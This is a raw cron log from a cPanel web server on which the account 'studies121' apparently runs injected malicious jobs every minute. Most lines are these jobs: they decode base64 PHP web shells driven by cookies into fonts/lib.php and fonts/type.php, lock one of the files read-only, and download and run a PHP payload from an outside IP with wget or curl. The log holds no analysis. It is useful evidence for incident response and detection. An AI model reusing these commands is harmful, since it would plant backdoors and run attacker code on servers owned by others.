Sep  7 05:22:01 ip-184-168-122-23 CROND[30958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:22:01 ip-184-168-122-23 CROND[30960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:23:01 ip-184-168-122-23 CROND[31058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:23:01 ip-184-168-122-23 CROND[31059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:23:01 ip-184-168-122-23 CROND[31062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:23:01 ip-184-168-122-23 CROND[31065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:24:02 ip-184-168-122-23 CROND[31165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:24:02 ip-184-168-122-23 CROND[31168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:24:02 ip-184-168-122-23 CROND[31166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:24:02 ip-184-168-122-23 CROND[31167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:24:02 ip-184-168-122-23 CROND[31172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:25:01 ip-184-168-122-23 CROND[31268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:25:01 ip-184-168-122-23 CROND[31270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:25:01 ip-184-168-122-23 CROND[31271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:25:01 ip-184-168-122-23 CROND[31272]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:25:01 ip-184-168-122-23 CROND[31269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:25:01 ip-184-168-122-23 CROND[31275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:26:01 ip-184-168-122-23 CROND[31459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:26:01 ip-184-168-122-23 CROND[31462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:26:01 ip-184-168-122-23 CROND[31464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:26:01 ip-184-168-122-23 CROND[31465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:26:01 ip-184-168-122-23 CROND[31467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:27:01 ip-184-168-122-23 CROND[31557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:27:01 ip-184-168-122-23 CROND[31559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:27:01 ip-184-168-122-23 CROND[31560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:27:01 ip-184-168-122-23 CROND[31562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:28:01 ip-184-168-122-23 CROND[31689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:28:01 ip-184-168-122-23 CROND[31691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:28:01 ip-184-168-122-23 CROND[31694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:28:01 ip-184-168-122-23 CROND[31692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:28:01 ip-184-168-122-23 CROND[31693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:29:01 ip-184-168-122-23 CROND[31799]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:29:01 ip-184-168-122-23 CROND[31801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:29:01 ip-184-168-122-23 CROND[31803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:29:01 ip-184-168-122-23 CROND[31802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:30:01 ip-184-168-122-23 CROND[31933]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 05:30:01 ip-184-168-122-23 CROND[31935]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 05:30:01 ip-184-168-122-23 CROND[31939]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  7 05:30:01 ip-184-168-122-23 CROND[31941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:30:01 ip-184-168-122-23 CROND[31943]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 05:30:01 ip-184-168-122-23 CROND[31945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:30:01 ip-184-168-122-23 CROND[31942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:30:01 ip-184-168-122-23 CROND[31940]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:30:01 ip-184-168-122-23 CROND[31944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:31:01 ip-184-168-122-23 CROND[32129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:31:01 ip-184-168-122-23 CROND[32130]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 05:31:01 ip-184-168-122-23 CROND[32133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:31:01 ip-184-168-122-23 CROND[32135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:31:01 ip-184-168-122-23 CROND[32134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:32:02 ip-184-168-122-23 CROND[32271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:32:02 ip-184-168-122-23 CROND[32273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:32:02 ip-184-168-122-23 CROND[32274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:32:02 ip-184-168-122-23 CROND[32276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 05:32:02 ip-184-168-122-23 CROND[32277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:33:01 ip-184-168-122-23 CROND[32368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:33:01 ip-184-168-122-23 CROND[32369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:33:01 ip-184-168-122-23 CROND[32371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 05:33:01 ip-184-168-122-23 CROND[32374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 05:34:01 ip-184-168-122-23 CROND[32479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 05:34:01 ip-184-168-122-23 CROND[32481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 05:34:01 ip-184-168-122-23 CROND[32482]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
